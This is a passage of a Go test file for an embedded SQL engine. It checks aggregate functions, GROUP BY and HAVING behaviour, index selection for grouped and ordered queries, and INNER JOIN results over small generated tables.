table1 WHERE false`, nil)\n\trequire.NoError(t, err)\n\n\trow, err = r.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col0\")].RawValue())\n\trequire.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col1\")].RawValue())\n\trequire.Equal(t, \"\", row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col2\")].RawValue())\n\trequire.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col3\")].RawValue())\n\trequire.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col4\")].RawValue())\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) AS c, SUM(age), MIN(age), MAX(age), AVG(age) FROM table1 AS t1\", nil)\n\trequire.NoError(t, err)\n\n\tcols, err := r.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 5)\n\n\trow, err = r.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, row)\n\trequire.Len(t, row.ValuesBySelector, 5)\n\n\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"c\")].RawValue())\n\n\trequire.Equal(t, int64(ageSum), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"col1\")].RawValue())\n\n\trequire.Equal(t, int64(1+base), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"col2\")].RawValue())\n\n\trequire.Equal(t, int64(base+rowCount), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"col3\")].RawValue())\n\n\trequire.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"col4\")].RawValue())\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestCount(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE t1(id INTEGER AUTO_INCREMENT, val1 INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON t1(val1)\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < 10; i++ {\n\t\tfor j := 0; j < 3; j++ {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO t1(val1) VALUES($1)\", map[string]interface{}{\"param1\": j})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM t1\", nil)\n\trequire.NoError(t, err)\n\n\trow, err := r.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, uint64(30), row.ValuesBySelector[\"(t1.c)\"].RawValue())\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\t//_, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM t1 GROUP BY val1\", nil)\n\t//require.ErrorIs(t, err, ErrLimitedGroupBy)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM t1 GROUP BY val1 ORDER BY val1\", nil)\n\trequire.NoError(t, err)\n\n\tfor j := 0; j < 3; j++ {\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, uint64(10), row.ValuesBySelector[\"(t1.c)\"].RawValue())\n\t}\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestGroupBy(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, title VARCHAR[128], age INTEGER, active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(active)\", nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"selecting aggregations only with empty table should return zero values\", func(t *testing.T) {\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT COUNT(*), SUM(age), AVG(age), MIN(title), MAX(title) FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(0))\n\t\trequire.Equal(t, rows[0].ValuesByPosition[1].RawValue(), int64(0))\n\t\trequire.Equal(t, rows[0].ValuesByPosition[2].RawValue(), int64(0))\n\t\trequire.Equal(t, rows[0].ValuesByPosition[3].RawValue(), \"\")\n\t\trequire.Equal(t, rows[0].ValuesByPosition[4].RawValue(), \"\")\n\t})\n\n\tt.Run(\"query with empty table and group by should return no rows\", func(t *testing.T) {\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT COUNT(*), SUM(age) FROM table1 GROUP BY title\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, rows)\n\t})\n\n\tt.Run(\"columns should appear in group by or aggregations\", func(t *testing.T) {\n\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT COUNT(*), age FROM table1\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation)\n\n\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT COUNT(*), SUM(age), title FROM table1 GROUP BY active\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation)\n\n\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT COUNT(*), SUM(age) FROM table1 GROUP BY active ORDER BY title\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation)\n\n\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT COUNT(*), MIN(age) FROM table1 GROUP BY age ORDER BY MAX(age) DESC\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation)\n\t})\n\n\trowCount := 10\n\n\tparams := make(map[string]interface{}, 3)\n\tfor n := 0; n < rowCount; n++ {\n\t\tm := n + 1\n\t\tfor i := 1; i <= m; i++ {\n\t\t\tactive := m%2 == 0\n\t\t\tparams[\"title\"] = fmt.Sprintf(\"title%d\", m)\n\t\t\tparams[\"age\"] = i\n\t\t\tparams[\"active\"] = active\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (title, age, active) VALUES (@title, @age, @active)\", params)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\tt.Run(\"simple group by\", func(t *testing.T) {\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT COUNT(*) FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2))\n\n\t\treader, err := engine.Query(context.Background(), nil, \"SELECT title, COUNT(*), SUM(age), MIN(age), MAX(age), AVG(age) FROM table1 GROUP BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tspecs := reader.ScanSpecs()\n\t\trequire.NotNil(t, specs.Index)\n\t\trequire.True(t, specs.Index.IsPrimary())\n\t\trequire.False(t, specs.DescOrder)\n\n\t\trows, err = ReadAllRows(context.Background(), reader)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, rowCount)\n\t\trequire.NoError(t, reader.Close())\n\n\t\tisSorted := sort.SliceIsSorted(rows, func(i, j int) bool {\n\t\t\tres, err := rows[i].ValuesByPosition[0].Compare(rows[j].ValuesByPosition[0])\n\t\t\trequire.NoError(t, err)\n\t\t\treturn res < 0\n\t\t})\n\t\trequire.True(t, isSorted)\n\n\t\tfor _, row := range rows {\n\t\t\tm, err := strconv.ParseInt(strings.TrimPrefix(row.ValuesByPosition[0].RawValue().(string), \"title\"), 10, 64)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, int64(m), row.ValuesByPosition[1].RawValue().(int64))\n\t\t\trequire.Equal(t, int64(m*(m+1)/2), row.ValuesByPosition[2].RawValue().(int64))\n\t\t\trequire.Equal(t, int64(1), row.ValuesByPosition[3].RawValue().(int64))\n\t\t\trequire.Equal(t, int64(m), row.ValuesByPosition[4].RawValue().(int64))\n\t\t\trequire.Equal(t, int64((m+1)/2), row.ValuesByPosition[5].RawValue().(int64))\n\t\t}\n\t})\n\n\tt.Run(\"aggregated functions with no group by\", func(t *testing.T) {\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT COUNT(*) FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2))\n\t})\n\n\tt.Run(\"group by with no aggregations should select distinct values\", func(t *testing.T) {\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT age FROM table1 GROUP BY age\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, rowCount)\n\n\t\tfor i, row := range rows {\n\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue(), int64(i+1))\n\t\t}\n\t})\n\n\tt.Run(\"group by with order by\", func(t *testing.T) {\n\t\tt.Run(\"group by fields are covered by order by fields\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*), title FROM table1 GROUP BY title ORDER BY title\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.True(t, specs.Index.IsPrimary())\n\t\t\trequire.False(t, specs.DescOrder)\n\n\t\t\torderBy := reader.OrderBy()\n\t\t\trequire.Equal(t, orderBy[0].Selector(), EncodeSelector(\"\", \"table1\", \"title\"))\n\t\t\trequire.NoError(t, reader.Close())\n\t\t})\n\n\t\tt.Run(\"order by fields are covered by group by fields\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*), age, title FROM table1 GROUP BY title, age ORDER BY title DESC\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.True(t, specs.Index.IsPrimary())\n\t\t\trequire.False(t, specs.DescOrder)\n\n\t\t\torderBy := reader.OrderBy()\n\t\t\trequire.Equal(t, orderBy[0].Selector(), EncodeSelector(\"\", \"table1\", \"title\"))\n\t\t\trequire.Equal(t, orderBy[1].Selector(), EncodeSelector(\"\", \"table1\", \"age\"))\n\n\t\t\trequire.NoError(t, reader.Close())\n\t\t})\n\n\t\tt.Run(\"order by fields dont't cover group by fields\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*), age, title FROM table1 GROUP BY title, age ORDER BY age DESC, title DESC\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.True(t, specs.Index.IsPrimary())\n\t\t\trequire.False(t, specs.DescOrder)\n\n\t\t\torderBy := reader.OrderBy()\n\t\t\trequire.Equal(t, orderBy[0].Selector(), EncodeSelector(\"\", \"table1\", \"age\"))\n\t\t\trequire.Equal(t, orderBy[1].Selector(), EncodeSelector(\"\", \"table1\", \"title\"))\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount*(rowCount+1)/2)\n\t\t\trequire.NoError(t, reader.Close())\n\n\t\t\tisSorted := sort.SliceIsSorted(rows, func(i, j int) bool {\n\t\t\t\tres, err := rows[i].ValuesByPosition[1].Compare(rows[j].ValuesByPosition[1])\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\treturn res > 0\n\t\t\t})\n\t\t\trequire.True(t, isSorted)\n\n\t\t\tfor j, n := 0, 0; n < rowCount; n++ {\n\t\t\t\tfor i := 0; i <= n; i++ {\n\t\t\t\t\trequire.Equal(t, int64(rowCount-n), rows[j].ValuesByPosition[1].RawValue())\n\t\t\t\t\tj++\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"order by aggregated function\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*), MAX(age) FROM table1 ORDER BY MAX(age)\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\t\t\trequire.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2))\n\t\t\trequire.Equal(t, rows[0].ValuesByPosition[1].RawValue(), int64(rowCount))\n\t\t\trequire.NoError(t, reader.Close())\n\n\t\t\treader, err = engine.Query(context.Background(), nil, \"SELECT title, COUNT(*), SUM(age) FROM table1 GROUP BY title ORDER BY SUM(table1.age) DESC\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.True(t, specs.Index.IsPrimary())\n\t\t\trequire.False(t, specs.DescOrder)\n\n\t\t\torderBy := reader.OrderBy()\n\t\t\trequire.Equal(t, orderBy[0].Selector(), EncodeSelector(\"SUM\", \"table1\", \"age\"))\n\n\t\t\trows, err = ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount)\n\n\t\t\trequire.NoError(t, reader.Close())\n\n\t\t\tfor i, row := range rows {\n\t\t\t\tn := rowCount - i\n\t\t\t\trequire.Len(t, row.ValuesByPosition, 3)\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue(), fmt.Sprintf(\"title%d\", n))\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[1].RawValue(), int64(n))\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[2].RawValue(), int64(n*(n+1)/2))\n\t\t\t}\n\t\t})\n\t})\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX on table1(age)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX on table1(title, age)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX on table1(title, age, id)\", nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"group by with indexes\", func(t *testing.T) {\n\t\tt.Run(\"group by covered by index\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT title, COUNT(*) FROM table1 GROUP BY title\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount)\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.Index.cols, 2)\n\n\t\t\trequire.Equal(t, specs.Index.cols[0].Name(), \"title\")\n\t\t\trequire.Equal(t, specs.Index.cols[1].Name(), \"age\")\n\n\t\t\tfor _, row := range rows {\n\t\t\t\tm, err := strconv.ParseInt(strings.TrimPrefix(row.ValuesByPosition[0].RawValue().(string), \"title\"), 10, 64)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[1].RawValue().(int64), m)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"group by and order by covered by index\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*), title, age, id FROM table1 GROUP BY title, age, id ORDER BY title DESC, id ASC, age ASC\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount*(rowCount+1)/2)\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.Index.cols, 3)\n\n\t\t\trequire.Equal(t, specs.Index.cols[0].Name(), \"title\")\n\t\t\trequire.Equal(t, specs.Index.cols[1].Name(), \"age\")\n\t\t\trequire.Equal(t, specs.Index.cols[2].Name(), \"id\")\n\n\t\t\tfor _, row := range rows {\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1))\n\t\t\t}\n\t\t\tcheckRowsAreSorted(t, rows, []string{EncodeSelector(\"\", \"table1\", \"title\"), EncodeSelector(\"\", \"table1\", \"age\"), EncodeSelector(\"\", \"table1\", \"id\")}, []int{-1, 1, 1}, \"table1\")\n\t\t})\n\n\t\tt.Run(\"index covers group by but not order by\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*), title, age FROM table1 GROUP BY title, age ORDER BY age DESC\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount*(rowCount+1)/2)\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.Index.cols, 2)\n\n\t\t\trequire.Equal(t, specs.Index.cols[0].Name(), \"title\")\n\t\t\trequire.Equal(t, specs.Index.cols[1].Name(), \"age\")\n\n\t\t\tfor _, row := range rows {\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1))\n\t\t\t}\n\t\t\tcheckRowsAreSorted(t, rows, []string{EncodeSelector(\"\", \"table1\", \"age\")}, []int{-1}, \"table1\")\n\t\t})\n\n\t\tt.Run(\"preferred index doesn't cover group by and order by\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*), title, age FROM table1 USE INDEX ON(age) GROUP BY title, age ORDER BY age DESC\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.groupBySortExps, 2)\n\t\t\trequire.Len(t, specs.orderBySortExps, 1)\n\t\t\trequire.Len(t, specs.Index.cols, 1)\n\t\t\trequire.Equal(t, specs.Index.cols[0].Name(), \"age\")\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount*(rowCount+1)/2)\n\n\t\t\tfor _, row := range rows {\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1))\n\t\t\t}\n\t\t\tcheckRowsAreSorted(t, rows, []string{EncodeSelector(\"\", \"table1\", \"age\")}, []int{-1}, \"table1\")\n\t\t})\n\n\t\tt.Run(\"index covers group by and order by because of unitary filter\", func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, fmt.Sprintf(\"SELECT COUNT(*), title, age FROM table1 WHERE title = 'title%d' GROUP BY title, age ORDER BY age DESC\", rowCount), nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.groupBySortExps, 0)\n\t\t\trequire.Len(t, specs.orderBySortExps, 0)\n\n\t\t\trequire.Len(t, specs.Index.cols, 2)\n\t\t\trequire.Equal(t, specs.Index.cols[0].Name(), \"title\")\n\t\t\trequire.Equal(t, specs.Index.cols[1].Name(), \"age\")\n\n\t\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, rowCount)\n\n\t\t\texpectedTitle := fmt.Sprintf(\"title%d\", rowCount)\n\t\t\tfor i, row := range rows {\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1))\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[1].RawValue().(string), expectedTitle)\n\t\t\t\trequire.Equal(t, row.ValuesByPosition[2].RawValue().(int64), int64(rowCount-i))\n\t\t\t}\n\t\t})\n\t})\n\n\tt.Run(\"group by with subquery\", func(t *testing.T) {\n\t\treader, err := engine.Query(context.Background(), nil, fmt.Sprintf(\"SELECT COUNT(*), title FROM (SELECT * FROM table1 WHERE title = 'title%d') GROUP BY title\", rowCount), nil)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount))\n\t})\n}\n\nfunc TestGroupByHaving(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(active)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\tbase := 40\n\n\tfor i := 0; i < rowCount; i++ {\n\t\tparams := make(map[string]interface{}, 4)\n\t\tparams[\"id\"] = i\n\t\tparams[\"title\"] = fmt.Sprintf(\"title%d\", i)\n\t\tparams[\"age\"] = base + i\n\t\tparams[\"active\"] = i%2 == 0\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, age, active) VALUES (@id, @title, @age, @active)\", params)\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE active != null HAVING AVG(age) >= MIN(age)\", nil)\n\trequire.ErrorIs(t, err, ErrHavingClauseRequiresGroupClause)\n\n\tr, err := engine.Query(context.Background(), nil, `\n\t\t\tSELECT active, COUNT(*), SUM(age1)\n\t\t\tFROM table1\n\t\t\tWHERE active != null\n\t\t\tGROUP BY active\n\t\t\tHAVING AVG(age) >= MIN(age)\n\t\t\tORDER BY active`, nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\trequire.Nil(t, r)\n\n\tr, err = engine.Query(context.Background(), nil, `\n\t\t\tSELECT active, COUNT(*), SUM(age1)\n\t\t\tFROM table1\n\t\t\tWHERE AVG(age) >= MIN(age)\n\t\t\tGROUP BY active\n\t\t\tORDER BY active`, nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\trequire.Nil(t, r)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT active, COUNT(id) FROM table1 GROUP BY active ORDER BY active\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrLimitedCount)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, `\n\t\t\tSELECT active, COUNT(*)\n\t\t\tFROM table1\n\t\t\tGROUP BY active\n\t\t\tHAVING AVG(age) >= MIN(age1)\n\t\t\tORDER BY active`, nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, `\n\t\tSELECT active, COUNT(*) as c, MIN(age), MAX(age), AVG(age), SUM(age)\n\t\tFROM table1\n\t\tGROUP BY active\n\t\tHAVING COUNT(*) <= SUM(age) AND\n\t\t\t\tMIN(age) <= MAX(age) AND\n\t\t\t\tAVG(age) <= MAX(age) AND\n\t\t\t\tMAX(age) < SUM(age)  AND\n\t\t\t\tAVG(age) >= MIN(age) AND\n\t\t\t\tSUM(age) > 0\n\t\tORDER BY active DESC`, nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Columns(context.Background())\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < 2; i++ {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 6)\n\n\t\trequire.Equal(t, i == 0, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue())\n\n\t\trequire.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"c\")].RawValue())\n\n\t\tif i%2 == 0 {\n\t\t\trequire.Equal(t, int64(base), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col2\")].RawValue())\n\t\t\trequire.Equal(t, int64(base+rowCount-2), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col3\")].RawValue())\n\t\t} else {\n\t\t\trequire.Equal(t, int64(base+1), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col2\")].RawValue())\n\t\t\trequire.Equal(t, int64(base+rowCount-1), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col3\")].RawValue())\n\t\t}\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestJoins(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, fkid2 INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table2 (id INTEGER, amount INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table11 RENAME TO table3\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME TO table3\", nil)\n\trequire.ErrorIs(t, err, ErrTableAlreadyExists)\n\n\trowCount := 10\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(`\n\t\t\tUPSERT INTO table1 (id, title, fkid1, fkid2) VALUES (%d, 'title%d', %d, %d)`, i, i, rowCount-1-i, i), nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"UPSERT INTO table2 (id, amount) VALUES (%d, %d)\", rowCount-1-i, i*i), nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"UPSERT INTO table3 (id, age) VALUES (%d, %d)\", i, 30+i), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"should not find any matching row\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, `\n\t\tSELECT table1.title, table2.amount, table3.age\n\t\tFROM (SELECT * FROM table2 WHERE amount = 1)\n\t\tINNER JOIN table1 ON table2.id = table1.fkid1 AND (table2.amount > 0 OR table2.amount > 0+1)\n\t\tINNER JOIN table3 ON table1.fkid2 = table3.id AND table3.age < 30`, nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should find one matching row\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, `\n\t\tSELECT t1.title, t2.amount, t3.age\n\t\tFROM (SELECT id, amount FROM table2 WHERE amount = 1) AS t2\n\t\tINNER JOIN table1 AS t1 ON t2.id = t1.fkid1 AND t2.amount > 0\n\t\tINNER JOIN table3 AS t3 ON t1.fkid2 = t3.id AND t3.age > 30`, nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, row.ValuesBySelector, 3)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should resolve every inserted row\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, `\n\t\t\tSELECT id, title, table2.amount, table3.age\n\t\t\tFROM table1 INNER JOIN table2 ON table1.fkid1 = table2.id\n\t\t\tINNER JOIN table3 ON table1.fkid2 = table3.id\n\t\t\tWHERE table1.id >= 0 AND table3.age >= 30\n\t\t\tORDER BY id DESC`, nil)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 4)\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Len(t, row.ValuesBySelector, 4)\n\n\t\t\trequire.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"id\")].RawValue())\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", rowCount-1-i), 